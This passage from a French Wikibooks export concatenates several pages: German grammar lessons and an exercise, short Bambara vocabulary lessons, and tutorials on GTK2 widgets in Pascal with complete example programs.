nicht Tennis spielen. ''je n'aime pas jouer au tennis.''<br />Ich mag Basketball. ''J'aime le basket.'' <br /> * le souhait (au subjonctif II).<br />Exemple : Ich möchte ein Buch. ''Je voudrais un livre.'' <br /> * le souhait (au discours indirect).<br />Exemple : Der Vater bat ihn, er möge essen. ''Son père lui a dit qu'il voudrait qu'il mange.'' <br /> * une éventualité.<br />Mag sein. ''C'est bien possible.'' <br /> * une concession.<br />Was auch kommen. ''Quoi qu'il arrive.'' <br />Retour [[Enseignement de l'allemand]] Image:Programmation GTK2 en Pascal - gtk015.png 2557 14141 2005-02-14T15:04:31Z Didier 186 Exemple du programme gtk015.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk015.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkImage 2558 14142 2005-03-31T17:30:58Z Didier 186 Correction hiérarchie + cat {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkImage''' va nous permettre d'afficher des images à l'intérieur de nos fenêtres. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkMisc|GtkMisc]] └─[[Programmation GTK2 en Pascal - GtkImage|GtkImage]] |} == Utilisation de base == === Création === Pour ce contrôle, il y a toute une panoplie de fonction de création. Nous n'allons en étudier que quelques-unes, car certaines font appel à des notions plus complexes. Voici donc les fonctions étudiées : function gtk_image_new : PGtkWidget; function gtk_image_new_from_file(filename : Pgchar) : PGtkWidget; function gtk_image_new_from_stock(stock_id : Pgchar; size : TGtkIconSize) : PGtkWidget; La première crée une image mais complètement vide. La deuxième crée l'image à partir du fichier <code>filename</code>. Gtk+ est capable d'utiliser les images qui sont au format PNG, JPEG, TIFF. Le chemin du fichier <code>filename</code> peut être relatif ou absolu. Si le chemin spécifié est incorrect ou que le format de l'image est invalide, l'image de retour présentera une croix rouge sur fond blanc. La troisième fonction, récupère l'image qui est associée à un objet <code>GtkStockItem</code> afin de l'afficher. Le paramètre <code>size</code> peut prendre sept valeurs différentes pour définir la taille de l'image à afficher : * GTK_ICON_SIZE_INVALID * GTK_ICON_SIZE_MENU * GTK_ICON_SIZE_SMALL_TOOLBAR * GTK_ICON_SIZE_LARGE_TOOLBAR * GTK_ICON_SIZE_BUTTON * GTK_ICON_SIZE_DND * GTK_ICON_SIZE_DIALOG === Modification de l'image. === Cette étape intervient lorsque vous avez créé une image vide ou lorsque vous voulez changer d'image. Les deux fonctions étudiées ici sont : procedure gtk_image_set_from_file(image : PGtkImage; filename : Pgchar); procedure gtk_image_set_from_stock(image : PGtkImage; stock_id : Pgchar; size : TGtkIconSize); Les paramètres sont les même que lors de la création d'un contrôle GtkImage, sauf qu'il faut préciser à quel contrôle il faut appliquer l'image. == Programme exemple == Voilà le fichier <code>gtk015.pas</code> : program gtk015; uses glib2, gtk2; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pImage : PGtkWidget; pImageQuitter : PGtkWidget; pBtnQuitter : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk015 : Images'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pVBox := gtk_vbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Chargement d'une image a partir d'un fichier pImage := gtk_image_new_from_file('./gtk.png'); gtk_box_pack_start(GTK_BOX(pVBox), pImage, FALSE, FALSE, 5); pBtnQuitter := gtk_button_new; gtk_box_pack_start(GTK_BOX(pVBox), pBtnQuitter, TRUE, FALSE, 5); g_signal_connect(pGTKOBJECT(pBtnQuitter), 'clicked', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Chargement d'une image a partir d'un GtkStockItem pImageQuitter := gtk_image_new_from_stock(GTK_STOCK_QUIT, GTK_ICON_SIZE_LARGE_TOOLBAR); gtk_container_add(GTK_CONTAINER(pBtnQuitter), pImageQuitter); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk015</code> : [[Image:Programmation GTK2 en Pascal - gtk015.png]] {{Programmation GTK2 en Pascal - Visuels}} [[Catégorie:Programmation GTK2 en Pascal|GtkImage]] Image:Programmation GTK2 en Pascal - gtk016-1.png 2559 14143 2005-02-14T16:13:14Z Didier 186 Exemple du programme gtk016.pas. Vue n° 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk016.pas. Vue n° 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk016-2.png 2560 14144 2005-02-14T16:13:46Z Didier 186 Exemple du programme gtk016.pas. Vue n° 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk016.pas. Vue n° 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk016-3.png 2561 14145 2005-02-14T16:14:55Z Didier 186 Exemple du programme gtk016.pas. Vue n° 3. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk016.pas. Vue n° 3. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkStatusBar 2562 14146 2005-02-14T16:21:06Z Didier 186 /* Programme exemple */ + "nowiki" dans le source {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkStatusBar''' est une barre d'état qui peut avoir plusieurs utilités. Tout d'abord lorsqu'un programme est en train d'effectuer une action, elle peut servir à signaler à l'utilisateur ce que le programme fait. Elle peut aussi servir à expliquer l'utilité d'un bouton (ou d'un élément du menu). === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBox|GtkBox]] └─[[Programmation GTK2 en Pascal - GtkHBox|GtkHBox]] └─[[Programmation GTK2 en Pascal - GtkStatusBar|GtkStatusBar]] |} == Utilisation de base == === Création === La création de ce contrôle est aussi simple que pour tous les autres contrôles. Il suffit d'utiliser cette fonction : function gtk_statusbar_new : PGtkWidget; === Identification === Regardons tout d'abord comment fonctionne une <code>GtkStatusBar</code>. Les messages sont mis dans une pile, l'élément le plus haut de la pile étant affiché. Mais avant de pouvoir ajouter un message dans la pile, il faut que Gtk+ sache qui a envoyé le message. En effet pour la barre d'état, nous avons la possibilité de définir quelle partie (ou quel module) du programme a envoyé un message. Donc avant de pouvoir insérer des messages, il faut créer un ou plusieurs identifiant suivant le cas avec cette fonction : function gtk_statusbar_get_context_id(statusbar : PGtkStatusbar; context_description : Pgchar) : guint; Cette fonction va automatiquement ajouter un contexte, et renvoyer la valeur correspondante. Par la suite cet identifiant est à utiliser pour ajouter ou enlever des éléments à la pile. === Ajout de message === Pour ajouter un élément, il n'y a qu'une seule fonction : function gtk_statusbar_push(statusbar : PGtkStatusbar; context_id : guint; text : Pgchar) : guint; Le paramètre <code>statusbar</code> est bien sûr la barre d'état dans laquelle nous voulons ajouter un message, le paramètre <code>context_id</code> la valeur correspondante au contexte qui a été créé et <code>text</code> le texte qu'il faut afficher dans la barre d'état. Après l'appel de cette fonction, le message est automatiquement ajouté en haut de la pile et est affiché dans la barre d'état. La valeur de retour correspond à l'identifiant du message dans la pile qui peut être utile pour sa suppression. === Suppression d'un message === Pour supprimer un message de la pile, nous avons cette fois deux fonctions différentes : procedure gtk_statusbar_pop(statusbar : PGtkStatusbar; context_id : guint); procedure gtk_statusbar_remove(statusbar : PGtkStatusbar; context_id : guint; message_id : guint); La première fonction enlève l'élément le plus haut placé dans la pile provenant de la partie du programme ayant l'identifiant <code>context_id</code>. Alors que la deuxième fonction enlève l'élément en fonction de son identifiant et celui de son contexte. == Programme exemple == Nous allons construire une application comportant deux boutons et barre d'état. Le but de cette application et d'afficher un message dans la barre d'état lorsque la souris survole un des boutons. Voilà le fichier <code>gtk016.pas</code> : program gtk016; uses glib2, gtk2; var pBarreEtat : PGtkWidget; procedure OnBtnAProposClick(ABtnAPropos : PGtkwidget; AData : pgpointer); cdecl; var pDlgAPropos : PGtkWidget; begin pDlgAPropos := gtk_message_dialog_new(GTK_WINDOW(AData), GTK_DIALOG_MODAL, GTK_MESSAGE_INFO, GTK_BUTTONS_OK, 'Cours GTK+ 2.0'#13#10'GtkStatusbar'#13#10'<nowiki>http://fr.wikibooks.org</nowiki>'); gtk_dialog_run(GTK_DIALOG(pDlgAPropos)); gtk_widget_destroy(pDlgAPropos); end; procedure OnBtnQuitterEnter(ABtn : PGtkwidget; AData : pgpointer); cdecl; begin // Ajout d'un message (en paramètre : identifiant de contexte) gtk_statusbar_push(GTK_STATUSBAR(pBarreEtat), GUInt(AData), '<nowiki>Quitter l''application</nowiki>'); end; procedure OnBtnAProposEnter(ABtn : PGtkwidget; AData : pgpointer); cdecl; begin // Ajout d'un message (en paramètre : identifiant de contexte) gtk_statusbar_push(GTK_STATUSBAR(pBarreEtat), GUInt(AData), 'Informations'); end; procedure OnBtnLeave(ABtn : PGtkwidget; AData : pgpointer); cdecl; begin // Suppression d'un message (en paramètre : identifiant de contexte) gtk_statusbar_pop(GTK_STATUSBAR(pBarreEtat), GUInt(AData)); end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBtnAPropos : PGtkWidget; pBtnQuitter : PGtkWidget; IdContexte1 : GUInt; IdContexte2 : GUInt; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), '<nowiki>Gtk016 : Barre d''état</nowiki>'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); pBtnQuitter := gtk_button_new_with_label('Quitter'); gtk_box_pack_start(GTK_BOX(pVBox), pBtnQuitter, TRUE, FALSE, 5); g_signal_connect(pGTKOBJECT(pBtnQuitter), 'clicked', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pBtnAPropos := gtk_button_new_with_label('À propos...'); gtk_box_pack_start(GTK_BOX(pVBox), pBtnAPropos, TRUE, FALSE, 5); g_signal_connect(pGTKOBJECT(pBtnAPropos), 'clicked', GTK_SIGNAL_FUNC(@OnBtnAProposClick), NULL); // Création de la barre d'état pBarreEtat := gtk_statusbar_new; gtk_box_pack_end(GTK_BOX(pVBox), pBarreEtat, FALSE, FALSE, 0); // Création des contextes IdContexte1 := gtk_statusbar_get_context_id(GTK_STATUSBAR(pBarreEtat), 'MsgQuitter'); IdContexte2 := gtk_statusbar_get_context_id(GTK_STATUSBAR(pBarreEtat), 'MsgAPropos'); // Détection du passage de la souris g_signal_connect(pGTKOBJECT(pBtnQuitter), 'enter', GTK_SIGNAL_FUNC(@OnBtnQuitterEnter), PGPointer(IdContexte1)); g_signal_connect(pGTKOBJECT(pBtnAPropos), 'enter', GTK_SIGNAL_FUNC(@OnBtnAProposEnter), PGPointer(IdContexte2)); g_signal_connect(pGTKOBJECT(pBtnQuitter), 'leave', GTK_SIGNAL_FUNC(@OnBtnLeave), PGPointer(IdContexte1)); g_signal_connect(pGTKOBJECT(pBtnAPropos), 'leave', GTK_SIGNAL_FUNC(@OnBtnLeave), PGPointer(IdContexte2)); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk016</code> : [[Image:Programmation GTK2 en Pascal - gtk016-1.png]] Avec la souris au dessus du premier bouton (on peut noter le changement de couleur du bouton) : [[Image:Programmation GTK2 en Pascal - gtk016-2.png]] Puis du deuxième bouton : [[Image:Programmation GTK2 en Pascal - gtk016-3.png]] {{Programmation GTK2 en Pascal - Visuels}} Allemand Niveau 1 Leçon 6 2563 14147 2005-05-20T12:50:27Z Marc 66 /* Les adjectifs possessifs */ == Les adjectifs possessifs == <table ><tr><td> <table width="300" border="1" cellspacing="0" style="background-color: #99CCFF"> <tr align="center"> <td></td> <td>Masculin</td> <td>Féminin</td> <td>Neutre</td> <td>Pluriel</td> </tr> <tr align="center"> <td>Nominatif</td> <td>mein</td> <td>meine</td> <td>mein</td> <td>meine</td> </tr> <tr align="center"> <td>Accusatif</td> <td>meinen</td> <td>meine</td> <td>mein</td> <td>meine</td> </tr> <tr align="center"> <td>Datif</td> <td>meinem</td> <td>meiner</td> <td>meinem</td> <td>meinen</td></tr></table> <td> <table width="300" border="1" cellspacing="0" style="background-color: #99CCFF"> <tr align="center"> <td></td> <td>Masculin</td> <td>Féminin</td> <td>Neutre</td> <td>Pluriel</td> </tr> <tr align="center"> <td>Nominatif</td> <td>mein</td> <td>meine</td> <td>mein</td> <td>meine</td> </tr> <tr align="center"> <td>Accusatif</td> <td>meinen</td> <td>meine</td> <td>mein</td> <td>meine</td> </tr> <tr align="center"> <td>Datif</td> <td>meinem</td> <td>meiner</td> <td>meinem</td> <td>meinen</td> </tr> </table> </tr> </table> </td><td> <table width="300" border="1" cellspacing="0" style="background-color: #99CCFF"> <tr align="center"> <td></td> <td>Masculin</td> <td>Féminin</td> <td>Neutre</td> <td>Pluriel</td> </tr> <tr align="center"> <td>Nominatif</td> <td>sein</td> <td>seine</td> <td>sein</td> <td>seine</td> </tr> <tr align="center"> <td>Accusatif</td> <td>seinen</td> <td>seine</td> <td>sein</td> <td>seine</td> </tr> <tr align="center"> <td>Datif</td> <td>seinem</td> <td>seiner</td> <td>seinem</td> <td>seinen</td> </tr> </table> </td> <td> <table width="300" border="1" cellspacing="0" style="background-color: #99CCFF"> <tr align="center"> <td></td> <td>Masculin</td> <td>Féminin</td> <td>Neutre</td> <td>Pluriel</td> </tr> <tr align="center"> <td>Nominatif</td> <td>ihr</td> <td>ihre</td> <td>ihr</td> <td>ihre</td> </tr> <tr align="center"> <td>Accusatif</td> <td>ihren</td> <td>ihre</td> <td>ihr</td> <td>ihre</td> </tr> <tr align="center"> <td>Datif</td> <td>ihrem</td> <td>ihrer</td> <td>ihrem</td> <td>ihren</td> </tr> </table> </tr></table> Exemple : Mein Vater wohnt in Deutschland. ''Mon père habite en Allemagne.'' === Correspodance Allemand-Français == Conjugaison : le prétérit des verbes forts == <table border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td>personnes</td><td>désinences</td><td>geben</td><td>finden</td></tr> <tr align="center"><td>1ère personne (sing.)</td><td> - </td><td>ich '''gab'''</td><td>'''fand'''</td></tr> <tr align="center"><td>2ème personne (sing.)</td><td> -'''(e)st''' </td><td>du '''gab'''st'''</td><td>'''fand'''est'''</td></tr> <tr align="center"><td>3ème personne (sing.)</td><td> - </td><td>er, sie, es '''gab'''</td><td>'''fand'''</td></tr> <tr align="center"><td>1ère personne (plur.)</td><td> -'''en''' </td><td>wir '''gab'''en</td><td>'''fand'''en</td></tr> <tr align="center"><td>2ème personne (plur.)</td><td> -'''(e)t''' </td><td>ihr '''gab'''t</td><td>'''fan'''t</td></tr> <tr align="center"><td>3ème personne (plur.)</td><td> -'''en''' </td><td>sie, Sie '''gab'''en</td><td>'''fand'''en</td></tr></table> <br /> ---- Liens vers : [[Enseignement de l'allemand : Niveau 1|Niveau 1]] ---- Pronoms (bambara) 2564 20272 2005-08-30T19:17:04Z Guaka 165 corrections {{bambara}} * je - n', ne * tu - i, e * il - a, ale * nous - an * vous - aw * eux, ils, elles - uw ==Voir== * [http://fr.wiktionary.org/wiki/Cat%C3%A9gorie:Pronoms_bambaras Les pronoms bambaras dans le Wiktionnaire] {{ébauche}} Allemand Niveau 1 Leçon 4 Test 2565 28402 2006-01-07T21:44:30Z Pierref 1012 restitution de la dernière modification de 84.245.177.26 == L'heure == Donnez les heures suivantes en allemand : # Il est 12h10 : _____________ # Il est 6h45 : _____________ # Il est 4h30 : _____________ # Il est 1h25 : _____________ # Il est 2h15 : _____________ == Solutions == ==== L'heure ==== # Es ist zehn nach zwölf. # Es ist viertel vor sieben. # Es ist halb fünf. # Es ist fünfundzwanzig nach eins. ''Mieux:'' Es ist fünf vor halb zwei. # Es ist viertel nach zwei. <br /> Retour [[Allemand Niveau 1 Leçon 4|Leçon 4]] Image:Programmation GTK2 en Pascal - gtk017.png 2566 14150 2005-02-14T21:40:37Z Didier 186 Exemple du programme gtk017.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk017.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkProgressBar 2567 14151 2005-02-14T22:07:42Z Didier 186 /* Premier programme exemple */ + boucle {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkProgressBar''' permet d'afficher la progression d'une opération quelconque qui prend du temps, afin que l'utilisateur patiente et ne pense pas que le programme soit bloqué. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkProgress|GtkProgress]] └─[[Programmation GTK2 en Pascal - GtkProgressBar|GtkProgressBar]] |} == Utilisation de base == === Création === Ce contrôle étant comme tous les autres contrôles de GTK+ sa fonction de création est très simple : function gtk_progress_bar_new : PGtkWidget; === Modification de la position === Pour fixer la position de la <code>GtkProgressBar</code>, la fonction est : procedure gtk_progress_bar_set_fraction(pbar : PGtkProgressBar; fraction : gdouble); Le paramètre <code>pbar</code> est la barre de progression et le paramètre <code>fraction</code> est la valeur que l'on veut donner à la barre de progression. Cette valeur doit être comprise entre 0,0 (0 %) et 1,0 (100 %). Pour connaître la position de la <code>GtkProgressBar</code>, la fonction est tout simplement : function gtk_progress_bar_get_fraction(pbar : PGtkProgressBar) : gdouble; La valeur de retour est bien entendu comprise entre 0,0 et 1,0. === Orientation de la barre de progression === La barre de progression peut être soit verticale, soit horizontale. De plus pour chaque position, l'on peut définir le sens de progression, et tout cela avec cette fonction : procedure gtk_progress_bar_set_orientation(pbar : PGtkProgressBar; orientation : TGtkProgressBarOrientation); Le paramètre <code>orientation</code> peut prendre quatre valeurs possible : * GTK_PROGRESS_LEFT_TO_RIGHT : la barre de progression évolue de gauche à droite ; * GTK_PROGRESS_RIGHT_TO_LEFT : la barre de progression évolue de droite à gauche ; * GTK_PROGRESS_BOTTOM_TO_TOP : la barre de progression évolue de bas en haut ; * GTK_PROGRESS_TOP_TO_BOTTOM : la barre de progression évolue de haut en bas. Au contraire pour connaître son sens de progression, il faut utiliser la fonction : function gtk_progress_bar_get_orientation(pbar : PGtkProgressBar) : TGtkProgressBarOrientation; == Premier programme exemple == Notre premier exemple, très simple, sera fait d'une fenêtre (bien entendu) avec à l'intérieur une barre de progression (qui évoluera de droite à gauche) et un bouton qui permettra de faire avancer la barre de progression de 10%. Et lorsque la barre de progression sera à 100%, nous la réinitialiserons à 0%. Voilà le fichier <code>gtk017.pas</code> : program gtk017; uses glib2, gtk2; procedure OnBtnClick(APWidget : PGtkwidget; AData : pgpointer); cdecl; var Fraction : GDouble; begin // Récuperation de la valeur de la barre de progression Fraction := gtk_progress_bar_get_fraction(GTK_PROGRESS_BAR(AData)); Fraction := Fraction + 0.1; if Fraction > 1.0 then Fraction := 0.0; // Modification de la valeur de la barre de progression gtk_progress_bar_set_fraction(GTK_PROGRESS_BAR(AData), Fraction); end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreProg : PGtkWidget; pBtn : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_container_set_border_width(GTK_CONTAINER(pFenetre), 4); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk017 : Barre de progression'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre de progression pBarreProg := gtk_progress_bar_new; gtk_progress_bar_set_orientation(GTK_PROGRESS_BAR(pBarreProg), GTK_PROGRESS_RIGHT_TO_LEFT); gtk_box_pack_start(GTK_BOX(pVBox), pBarreProg, TRUE, FALSE, 0); pBtn := gtk_button_new_with_label('Ajouter 10 %'); gtk_box_pack_start(GTK_BOX(pVBox), pBtn, TRUE, FALSE, 5); g_signal_connect(pGTKOBJECT(pBtn), 'clicked', GTK_SIGNAL_FUNC(@OnBtnClick), pBarreProg); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk017</code>, après 3 clics sur le bouton : [[Image:Programmation GTK2 en Pascal - gtk017.png]] == Utilisation dans une boucle == === Problème === Si nous modifions légèrement le programme précédent pour insérer une boucle qui fera avancer automatiquement la barre de progression (par exemple une boucle de 2000 itérations) cela ne fonctionnera pas. La seule raison pour laquelle cela ne fonctionnera pas est que Gtk+ ne reprend pas la main car le programme reste dans la boucle et ainsi Gtk+ ne peut pas mettre à jour les contrôles affichés. === Solution === La solution, est de dire clairement à Gtk+ qu’il doit remettre à jour grâce à la fonction suivante : function gtk_main_iteration : gboolean; Cette fonction permet de faire, comme son nom l'indique, une seule itération. Donc à ce moment là Gtk+ va reprendre la main puis la rendre aussitôt, si bien qu’il pourra mettre à jour les contrôles. Il suffit donc d’ajouter cette fonction après <code>gtk_progress_bar_set_fraction</code> pour faire fonctionner correctement notre programme. Ce problème étant réglé, nous allons faire face à un deuxième problème, ou plutôt pseudo-problème. En général, lorsque le programme fait un gros calcul, l’application doit être « bloquée » pendant ce temps. Donc tant que le traitement n’est pas fini, il faut éviter que l’utilisateur ne puisse changer des données. Prenons le cas d’un correcteur d’orthographe, disons qu’il le fasse automatiquement. Pendant qu’il vérifie l’orthographe il serai dommage que l’utilisateur puisse modifier le texte, ce qui fausserait alors toute la correction. Pourquoi cet exemple ? Et bien le fait de rendre la main a Gtk+ lui donne le pouvoir de traiter d’autres évènements, comme un clic de souris et autres. Donc à tout moment pendant ce calcul l’utilisateur peut modifier quelque chose (ici pas grand chose si ce n’est que re-cliquer sur le bouton de démarrage de la boucle), donc il faut pouvoir l’empêcher de faire une quelconque action. Nous allons pouvoir bloquer l'utilisateur à l'aide de ces deux fonctions : procedure gtk_grab_add(widget : PGtkWidget); procedure gtk_grab_remove(widget : PGtkWidget); Nous allons faire une description rapide des ces deux fonctions à l'aide d'un exemple. Prenons le cas ou l'utilisateur fait dans une application (de dessin par exemple) une sélection par glissement, quand il quitte la zone pour atterrir à coté voir en dehors de la fenêtre, la sélection continue, et bien c’est parce que l’application se focalise sur la fenêtre de sélection, c’est un peut ce que fait <code>gtk_grab_add</code>. Nous lui donnons un contrôle et seuls les évènements de ce contrôle seront traiter par Gtk+, et cela tant que <code>gtk_grab_remove</code> n’a pas été invoqué. Si bien que quand l'utilisateur fait une sélection et qu'il passe au-dessus d’un autre contrôle, il est ignoré. Voilà maintenant nous avons tout pour que pendant la boucle la barre de progression soit remise à jour sans que l’utilisateur ne puisse cliquer ailleurs. === Programme exemple === Nous réutilisons donc l'exemple précédent en modifiant la fonction du bouton qui sert maintenant à démarrer la progression de la barre qui sera effectuée dans la fonction de rappel. Voilà le fichier <code>gtk018.pas</code> : program gtk018; uses glib2, gtk2; procedure OnBtnClick(APWidget : PGtkwidget; AData : pgpointer); cdecl; var Fraction : GDouble; I : GInt; const ITotal = 2000; begin // Initialisation gtk_progress_bar_set_fraction(GTK_PROGRESS_BAR(AData), 0.0); // Ici on « grab » sur la barre de progression pour 2 raisons : // - cela évite a GTK+ de regarder tous les evenements ce qui rend plus rapide // l'utilisation de gtk_main_iteration() // - on empêche toute action de l'utilisateur gtk_grab_add(PGtkwidget(AData)); for I := 0 to ITotal do begin Fraction := I / ITotal; // Modification de la valeur de la barre de progression gtk_progress_bar_set_fraction(GTK_PROGRESS_BAR(AData), Fraction); // On donne la main a GTK+ gtk_main_iteration; end; // On supprime le grab sur la barre de progression gtk_grab_remove(PGtkwidget(AData)); end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreProg : PGtkWidget; pBtn : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_container_set_border_width(GTK_CONTAINER(pFenetre), 4); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk018 : Barre de progression'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre de progression pBarreProg := gtk_progress_bar_new; gtk_progress_bar_set_orientation(GTK_PROGRESS_BAR(pBarreProg), GTK_PROGRESS_RIGHT_TO_LEFT); gtk_box_pack_start(GTK_BOX(pVBox), pBarreProg, TRUE, FALSE, 0); pBtn := gtk_button_new_from_stock(GTK_STOCK_REFRESH); gtk_box_pack_start(GTK_BOX(pVBox), pBtn, TRUE, FALSE, 5); g_signal_connect(pGTKOBJECT(pBtn), 'clicked', GTK_SIGNAL_FUNC(@OnBtnClick), pBarreProg); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk018</code>, après clic sur le bouton et quelques dixièmes de secondes (la barre se remplit toute seule de droite à gauche) : [[Image:Programmation GTK2 en Pascal - gtk018.png]] {{Programmation GTK2 en Pascal - Visuels}} Image:Programmation GTK2 en Pascal - gtk018.png 2568 14152 2005-02-14T22:02:05Z Didier 186 Exemple du programme gtk018.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk018.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk019.png 2569 14153 2005-02-15T18:30:42Z Didier 186 Exemple du programme gtk019.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk019.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Bambara : Leçon 1 2570 25469 2005-11-14T08:06:01Z 80.119.206.37 {{bambara}} * i tɔgo be di? - Comment t'appelles tu ? (Ton nom est comment ?) * n'tɔgo Bubakar -Je m'appelle Bubakar. (Mon nom Bubakar.) * i jamu? - quel est ton surnom? * n'jamu Keita * i be bo mi? - tu viens d'ou? * ne be bo ollande * n'be bo amerik * n'be bo senegal exception: * n'bɛ bo malila ---- ;mi : où * i ka so bɛ mi? - ta maison est ou? ---- * i be bamanankan fo? * ne be bamanankan fo * furansikan * anglekan * olandakan * chinwakan ---- * i bɛ bamanankan mɛ wa? - tu comprends le Bambara? * n'bɛ bamanankan mɛ doni - je comprends un peu le Bambara * n'tɛ bamanankan mɛ kɔsobɛ ---- * bara - travail * kɛ - faire * i be bara kɛ mi? - tu travailles ou? * n'be bara kɛ ippodrom la * n'be bara kɛ ippodrom yan ---- * yan - ici * i ni bara - litt. tu et le travail - bon travail * dumuni - manger * i ni dumini - bon appetit ---- * i shi bè san joli? - ton age est combien? .. ''impolit aux villages maliens'' * n'shi bè san ... * i den shi bè san joli? - l'age de ton enfant est combien? ---- * 21 mugan ni kelen * 22 mugan ni fila * 100 kèmè * 200 kèmè fila * 300 kèmè saba ---- * yè - passé de bè ---- * ne furu len don - je suis marié * ne furu len tè - je suis pas marié * ne man furu kè - je suis pas marié ---- * i bè mun bara kè? - quel travail fais-tu? * n'ye informaticien ye * jakuma - chat * wùlù - chien * wulu - la bite * sigilan - chaise * namasa - banane * so - maison * sô - cheval {{ébauche}} Programmation GTK2 en Pascal - GtkDrawingArea 2571 14155 2005-02-15T18:36:14Z Didier 186 Création {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkDrawingArea''' est un contrôle basique qui n'a pas d'aspect par défaut et dont l'affichage est complètement géré par nos soins. Il permet donc d'afficher des images, des formes, et / ou du texte. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - 